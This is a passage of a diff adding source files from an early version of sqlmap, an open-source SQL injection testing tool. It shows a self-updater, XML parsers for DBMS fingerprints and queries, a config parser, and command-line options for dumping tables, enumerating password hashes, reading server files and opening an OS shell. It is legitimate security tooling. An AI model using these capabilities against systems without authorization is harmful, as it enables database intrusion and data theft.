signature.appendChild(servicepackElement)
|
||||
|
||||
# Give the <servicepack> elemenet some text
|
||||
servicepackText = doc.createTextNode(servicePack)
|
||||
servicepackElement.appendChild(servicepackText)
|
||||
|
||||
# Get the XML old file content to a local variable
|
||||
mssqlXml = open(paths.MSSQL_XML, "r")
|
||||
oldMssqlXml = mssqlXml.read()
|
||||
oldMssqlXmlSignatures = oldMssqlXml.count("<signature>")
|
||||
oldMssqlXmlList = oldMssqlXml.splitlines(1)
|
||||
mssqlXml.close()
|
||||
|
||||
# Backup the XML old file
|
||||
shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
|
||||
|
||||
# Save our newly created XML to the signatures file
|
||||
mssqlXml = open(paths.MSSQL_XML, "w")
|
||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||
mssqlXml.close()
|
||||
|
||||
# Get the XML new file content to a local variable
|
||||
mssqlXml = open(paths.MSSQL_XML, "r")
|
||||
newMssqlXml = mssqlXml.read()
|
||||
newMssqlXmlSignatures = newMssqlXml.count("<signature>")
|
||||
newMssqlXmlList = newMssqlXml.splitlines(1)
|
||||
mssqlXml.close()
|
||||
|
||||
# If the new XML versions file differs from the old one it probably
|
||||
# means that we have got new Microsoft SQL Server versions
|
||||
if oldMssqlXmlSignatures != newMssqlXmlSignatures:
|
||||
infoMsg = "Microsoft SQL Server XML versions file updated successfully. "
|
||||
|
||||
if oldMssqlXmlSignatures < newMssqlXmlSignatures:
|
||||
infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
|
||||
infoMsg += "new signatures added since the last update"
|
||||
|
||||
# NOTE: This should never happen, in this rare case it might
|
||||
# be that the Microsoft SQL Server versions database
|
||||
# (MSSQL_VERSIONS_URL) changed its structure
|
||||
else:
|
||||
infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
|
||||
infoMsg += "signatures removed since the last update"
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "Do you want to see the differences? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
infoMsg = "Differences:"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Compare the old XML file with the new one
|
||||
differ = difflib.Differ()
|
||||
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
|
||||
|
||||
# Show only the different lines
|
||||
for line in differences:
|
||||
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
|
||||
print line.strip("\n")
|
||||
else:
|
||||
infoMsg = "no new Microsoft SQL Server versions since the "
|
||||
infoMsg += "last update"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __createFile(pathname, data):
|
||||
mkpath(os.path.dirname(pathname))
|
||||
fileFP = open(pathname, "wb")
|
||||
fileFP.write(data)
|
||||
fileFP.close()
|
||||
|
||||
|
||||
def __extractZipFile(zipFile):
|
||||
# Check if the saved binary file is really a ZIP file
|
||||
if zipfile.is_zipfile(zipFile):
|
||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||
else:
|
||||
raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile"
|
||||
|
||||
# Create a temporary directory
|
||||
tempDir = tempfile.mkdtemp("", "sqlmap_latest-")
|
||||
|
||||
# Extract each file within the ZIP file in the temporary directory
|
||||
for info in sqlmapZipFile.infolist():
|
||||
if info.filename[-1] != '/':
|
||||
data = sqlmapZipFile.read(info.filename)
|
||||
__createFile(os.path.join(tempDir, info.filename), data)
|
||||
|
||||
return tempDir
|
||||
|
||||
|
||||
def __updateSqlmap():
|
||||
infoMsg = "updating sqlmap"
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "checking if a new version is available"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
|
||||
warnMsg += ", check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
|
||||
|
||||
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
||||
errMsg = "sqlmap version is in a wrong syntax"
|
||||
logger.errMsg(errMsg)
|
||||
|
||||
return
|
||||
|
||||
if sqlmapNewestVersion == VERSION:
|
||||
infoMsg = "you are already running sqlmap latest stable version"
|
||||
logger.info(infoMsg)
|
||||
|
||||
return
|
||||
else:
|
||||
infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion
|
||||
infoMsg += "Going to download it from the SourceForge File List page"
|
||||
logger.info(infoMsg)
|
||||
|
||||
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
|
||||
|
||||
try:
|
||||
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
|
||||
warnMsg += ", check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
# Save the sqlmap compressed source to a ZIP file in a temporary
|
||||
# directory and extract it
|
||||
zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||
__createFile(zipFile, sqlmapBinaryString)
|
||||
tempDir = __extractZipFile(zipFile)
|
||||
|
||||
# For each file and directory in the temporary directory copy it
|
||||
# to the sqlmap root path and set right permission
|
||||
# TODO: remove files not needed anymore and all pyc within the
|
||||
# sqlmap root path in the end
|
||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")):
|
||||
# Just for development release
|
||||
if '.svn' in dirs:
|
||||
dirs.remove('.svn')
|
||||
|
||||
cleanRoot = root.replace(tempDir, "")
|
||||
cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "")
|
||||
|
||||
if cleanRoot.startswith("/"):
|
||||
cleanRoot = cleanRoot[1:]
|
||||
|
||||
for f in files:
|
||||
# Just for development release
|
||||
if f.endswith(".pyc") or f.endswith(".pyo"):
|
||||
continue
|
||||
|
||||
srcFile = os.path.join(root, f)
|
||||
dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f))
|
||||
|
||||
if os.path.exists(dstFile):
|
||||
debugMsg = "replacing file '%s'" % dstFile
|
||||
else:
|
||||
debugMsg = "creating new file '%s'" % dstFile
|
||||
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if f == "sqlmap.conf" and os.path.exists(dstFile):
|
||||
infoMsg = "backupping configuration file to '%s.bak'" % dstFile
|
||||
logger.info(infoMsg)
|
||||
shutil.move(dstFile, "%s.bak" % dstFile)
|
||||
|
||||
mkpath(os.path.dirname(dstFile))
|
||||
shutil.copy(srcFile, dstFile)
|
||||
|
||||
if f.endswith(".py"):
|
||||
os.chmod(dstFile, 0755)
|
||||
|
||||
infoMsg = "sqlmap updated successfully"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def update():
|
||||
if not conf.updateAll:
|
||||
return
|
||||
|
||||
__updateSqlmap()
|
||||
__updateMSSQLXML()
|
||||
25
lib/parse/__init__.py
Normal file
25
lib/parse/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
104
lib/parse/banner.py
Normal file
104
lib/parse/banner.py
Normal file
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: banner.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
|
||||
|
||||
class bannerHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse and extract information from
|
||||
the given DBMS banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
def __init__(self, banner):
|
||||
self.__banner = sanitizeStr(banner)
|
||||
self.release = None
|
||||
self.version = None
|
||||
self.servicePack = None
|
||||
self.__inVersion = False
|
||||
self.__inServicePack = False
|
||||
self.__release = None
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "signatures":
|
||||
self.__release = sanitizeStr(attrs.get("release"))
|
||||
|
||||
elif name == "version":
|
||||
self.__inVersion = True
|
||||
|
||||
elif name == "servicepack":
|
||||
self.__inServicePack = True
|
||||
|
||||
|
||||
def characters(self, data):
|
||||
if self.__inVersion:
|
||||
self.__version += sanitizeStr(data)
|
||||
elif self.__inServicePack:
|
||||
self.__servicePack += sanitizeStr(data)
|
||||
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "signature":
|
||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||
self.release = self.__release
|
||||
self.version = self.__version
|
||||
self.servicePack = self.__servicePack
|
||||
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
|
||||
|
||||
elif name == "version":
|
||||
self.__inVersion = False
|
||||
self.__version = self.__version.replace(" ", "")
|
||||
|
||||
elif name == "servicepack":
|
||||
self.__inServicePack = False
|
||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||
|
||||
|
||||
|
||||
def bannerParser(banner, xmlfile):
|
||||
"""
|
||||
This function calls a class to extract information from the given
|
||||
DBMS banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
checkFile(xmlfile)
|
||||
banner = sanitizeStr(banner)
|
||||
handler = bannerHandler(banner)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
return handler.release, handler.version, handler.servicePack
|
||||
268
lib/parse/cmdline.py
Normal file
268
lib/parse/cmdline.py
Normal file
@@ -0,0 +1,268 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: cmdline.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionGroup
|
||||
from optparse import OptionParser
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
def cmdLineParser():
|
||||
"""
|
||||
This function parses the command line parameters and arguments
|
||||
"""
|
||||
|
||||
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}"
|
||||
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
||||
|
||||
try:
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options have to "
|
||||
"be specified to set the target url, HTTP "
|
||||
"method, how to connect to the target url "
|
||||
"or Google dorking results in general.")
|
||||
|
||||
request.add_option("-u", "--url", dest="url", help="Target url")
|
||||
|
||||
request.add_option("-g", dest="googleDork",
|
||||
help="Process Google dork results as target urls")
|
||||
|
||||
request.add_option("-p", dest="testParameter",
|
||||
help="Testable parameter(s)")
|
||||
|
||||
request.add_option("--method", dest="method", default="GET",
|
||||
help="HTTP method, GET or POST (default: GET)")
|
||||
|
||||
request.add_option("--data", dest="data",
|
||||
help="Data string to be sent through POST")
|
||||
|
||||
request.add_option("--cookie", dest="cookie",
|
||||
help="HTTP Cookie header")
|
||||
|
||||
request.add_option("--referer", dest="referer",
|
||||
help="HTTP Referer header")
|
||||
|
||||
request.add_option("--user-agent", dest="agent",
|
||||
help="HTTP User-Agent header")
|
||||
|
||||
request.add_option("-a", dest="userAgentsFile",
|
||||
help="Load a random HTTP User-Agent "
|
||||
"header from file")
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type, value: "
|
||||
"Basic or Digest")
|
||||
|
||||
request.add_option("--auth-cred", dest="aCred",
|
||||
help="HTTP Authentication credentials, value: "
|
||||
"name:password")
|
||||
|
||||
request.add_option("--proxy", dest="proxy",
|
||||
help="Use a HTTP proxy to connect to the target url")
|
||||
|
||||
request.add_option("--threads", dest="threads", type="int",
|
||||
help="Maximum number of concurrent HTTP "
|
||||
"requests (default 1)")
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection")
|
||||
|
||||
injection.add_option("--string", dest="string",
|
||||
help="String to match in page when the "
|
||||
"query is valid")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
|
||||
action="store_true",
|
||||
help="Perform an extensive database fingerprint")
|
||||
|
||||
# Enumeration options
|
||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||
"be used to enumerate the back-end database "
|
||||
"management system information, structure "
|
||||
"and data contained in the tables. Moreover "
|
||||
"you can run your own SQL SELECT queries.")
|
||||
|
||||
enumeration.add_option("-b", "--banner", dest="getBanner",
|
||||
action="store_true", help="Retrieve DBMS banner")
|
||||
|
||||
enumeration.add_option("--current-user", dest="getCurrentUser",
|
||||
action="store_true",
|
||||
help="Retrieve DBMS current user")
|
||||
|
||||
enumeration.add_option("--current-db", dest="getCurrentDb",
|
||||
action="store_true",
|
||||
help="Retrieve DBMS current database")
|
||||
|
||||
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
||||
help="Enumerate DBMS users")
|
||||
|
||||
enumeration.add_option("--passwords", dest="getPasswordHashes",
|
||||
action="store_true",
|
||||
help="Enumerate DBMS users password hashes (opt: -U)")
|
||||
|
||||
enumeration.add_option("--privileges", dest="getPrivileges",
|
||||
action="store_true",
|
||||
help="Enumerate DBMS users privileges (opt: -U)")
|
||||
|
||||
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
||||
help="Enumerate DBMS databases")
|
||||
|
||||
enumeration.add_option("--tables", dest="getTables", action="store_true",
|
||||
help="Enumerate DBMS database tables (opt: -D)")
|
||||
|
||||
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
||||
help="Enumerate DBMS database table columns "
|
||||
"(req: -T, -D)")
|
||||
|
||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||
help="Dump DBMS database table entries "
|
||||
"(req: -T, -D opt: -C)")
|
||||
|
||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
|
||||
enumeration.add_option("-D", dest="db",
|
||||
help="DBMS database to enumerate")
|
||||
|
||||
enumeration.add_option("-T", dest="tbl",
|
||||
help="DBMS database table to enumerate")
|
||||
|
||||
enumeration.add_option("-C", dest="col",
|
||||
help="DBMS database table column to enumerate")
|
||||
|
||||
enumeration.add_option("-U", dest="user",
|
||||
help="DBMS user to enumerate")
|
||||
|
||||
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
|
||||
action="store_true",
|
||||
help="Exclude DBMS system databases when "
|
||||
"enumerating tables")
|
||||
|
||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||
help="First table entry to dump")
|
||||
|
||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last table entry to dump")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL SELECT query to be executed")
|
||||
|
||||
enumeration.add_option("--sql-shell", dest="sqlShell",
|
||||
action="store_true",
|
||||
help="Prompt for an interactive SQL shell")
|
||||
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
"can be used to access the back-end database "
|
||||
"management system file system taking "
|
||||
"advantage of native DBMS functions or "
|
||||
"specific DBMS design weaknesses.")
|
||||
|
||||
filesystem.add_option("--read-file", dest="rFile",
|
||||
help="Read a specific OS file content (only on MySQL)")
|
||||
|
||||
filesystem.add_option("--write-file", dest="wFile",
|
||||
help="Write to a specific OS file (not yet available)")
|
||||
|
||||
# Takeover options
|
||||
takeover = OptionGroup(parser, "Operating system access", "This "
|
||||
"option can be used to access the back-end "
|
||||
"database management system operating "
|
||||
"system taking advantage of specific DBMS "
|
||||
"design weaknesses.")
|
||||
|
||||
takeover.add_option("--os-shell", dest="osShell", action="store_true",
|
||||
help="Prompt for an interactive OS shell "
|
||||
"(only on PHP/MySQL environment with a "
|
||||
"writable directory within the web "
|
||||
"server document root for the moment)")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
miscellaneous.add_option("--union-test", dest="unionTest",
|
||||
action="store_true",
|
||||
help="Test for UNION SELECT (inband) SQL injection")
|
||||
|
||||
miscellaneous.add_option("--union-use", dest="unionUse",
|
||||
action="store_true",
|
||||
help="Use the UNION SELECT (inband) SQL injection "
|
||||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||
help="Retrieve each query output length and "
|
||||
"calculate the estimated time of arrival "
|
||||
"in real time")
|
||||
|
||||
miscellaneous.add_option("-v", dest="verbose", type="int",
|
||||
help="Verbosity level: 0-5 (default 0)")
|
||||
|
||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||
help="Update sqlmap to the latest stable version")
|
||||
|
||||
miscellaneous.add_option("-s", dest="sessionFile",
|
||||
help="Save and resume all data retrieved "
|
||||
"on a session file")
|
||||
|
||||
miscellaneous.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||
help="Save options on a configuration INI file")
|
||||
|
||||
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
||||
help="Never ask for user input, use the default behaviour")
|
||||
|
||||
parser.add_option_group(request)
|
||||
parser.add_option_group(injection)
|
||||
parser.add_option_group(fingerprint)
|
||||
parser.add_option_group(enumeration)
|
||||
parser.add_option_group(filesystem)
|
||||
parser.add_option_group(takeover)
|
||||
parser.add_option_group(miscellaneous)
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
|
||||
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
|
||||
errMsg += "-h for help"
|
||||
parser.error(errMsg)
|
||||
|
||||
return args
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
debugMsg = "parsing command line"
|
||||
logger.debug(debugMsg)
|
||||
101
lib/parse/configfile.py
Normal file
101
lib/parse/configfile.py
Normal file
@@ -0,0 +1,101 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: configfile.py 261 2008-07-21 11:33:49Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from ConfigParser import NoSectionError
|
||||
from ConfigParser import SafeConfigParser
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.optiondict import optDict
|
||||
|
||||
|
||||
config = None
|
||||
|
||||
|
||||
def configFileProxy(section, option, boolean=False, integer=False):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
advanced dictionary.
|
||||
"""
|
||||
|
||||
global config
|
||||
|
||||
if config.has_option(section, option):
|
||||
if boolean:
|
||||
value = config.getboolean(section, option)
|
||||
elif integer:
|
||||
value = config.getint(section, option)
|
||||
else:
|
||||
value = config.get(section, option)
|
||||
|
||||
if value:
|
||||
conf[option] = value
|
||||
else:
|
||||
conf[option] = None
|
||||
else:
|
||||
debugMsg = "missing requested option '%s' (section " % option
|
||||
debugMsg += "'%s') into the configuration file, " % section
|
||||
debugMsg += "ignoring. Skipping to next."
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def configFileParser(configFile):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
advanced dictionary.
|
||||
"""
|
||||
|
||||
global config
|
||||
|
||||
debugMsg = "parsing configuration file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
checkFile(configFile)
|
||||
config = SafeConfigParser()
|
||||
config.read(configFile)
|
||||
|
||||
if not config.has_section("Request"):
|
||||
raise NoSectionError, "Request in the configuration file is mandatory"
|
||||
|
||||
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
|
||||
errMsg = "missing a mandatory option in the configuration "
|
||||
errMsg += "file (url or googleDork)"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
|
||||
for family, optionData in optDict.items():
|
||||
for option, data in optionData.items():
|
||||
boolean = False
|
||||
integer = False
|
||||
|
||||
if data == "boolean":
|
||||
boolean = True
|
||||
elif data == "integer":
|
||||
integer = True
|
||||
|
||||
configFileProxy(family, option, boolean, integer)
|
||||
75
lib/parse/html.py
Normal file
75
lib/parse/html.py
Normal file
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: html.py 286 2008-07-25 23:09:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
|
||||
|
||||
class htmlHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse the input HTML page to
|
||||
fingerprint the back-end database management system
|
||||
"""
|
||||
|
||||
def __init__(self, page):
|
||||
self.__dbms = None
|
||||
self.__page = page
|
||||
self.__regexp = None
|
||||
self.__match = None
|
||||
|
||||
self.dbms = None
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "dbms":
|
||||
self.__dbms = attrs.get("value")
|
||||
|
||||
if name == "error":
|
||||
self.__regexp = attrs.get("regexp")
|
||||
self.__match = re.search(self.__regexp, self.__page, re.I)
|
||||
|
||||
if self.__match:
|
||||
self.dbms = self.__dbms
|
||||
self.__match = None
|
||||
|
||||
|
||||
def htmlParser(page, xmlfile):
|
||||
"""
|
||||
This function calls a class that parses the input HTML page to
|
||||
fingerprint the back-end database management system
|
||||
"""
|
||||
|
||||
checkFile(xmlfile)
|
||||
page = sanitizeStr(page)
|
||||
handler = htmlHandler(page)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
return handler.dbms
|
||||
203
lib/parse/queriesfile.py
Normal file
203
lib/parse/queriesfile.py
Normal file
@@ -0,0 +1,203 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: queriesfile.py 343 2008-08-30 01:12:18Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
|
||||
|
||||
class queriesHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse the default DBMS queries
|
||||
from an XML file
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__dbms = ''
|
||||
self.__queries = advancedDict()
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "dbms":
|
||||
data = sanitizeStr(attrs.get("value"))
|
||||
self.__dbms = data
|
||||
|
||||
elif name == "cast":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.cast = data
|
||||
|
||||
elif name == "length":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.length = data
|
||||
|
||||
elif name == "isnull":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.isnull = data
|
||||
|
||||
elif name == "delimiter":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.delimiter = data
|
||||
|
||||
elif name == "limit":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limit = data
|
||||
|
||||
elif name == "limitregexp":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitregexp = data
|
||||
|
||||
elif name == "limitgroupstart":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitgroupstart = data
|
||||
|
||||
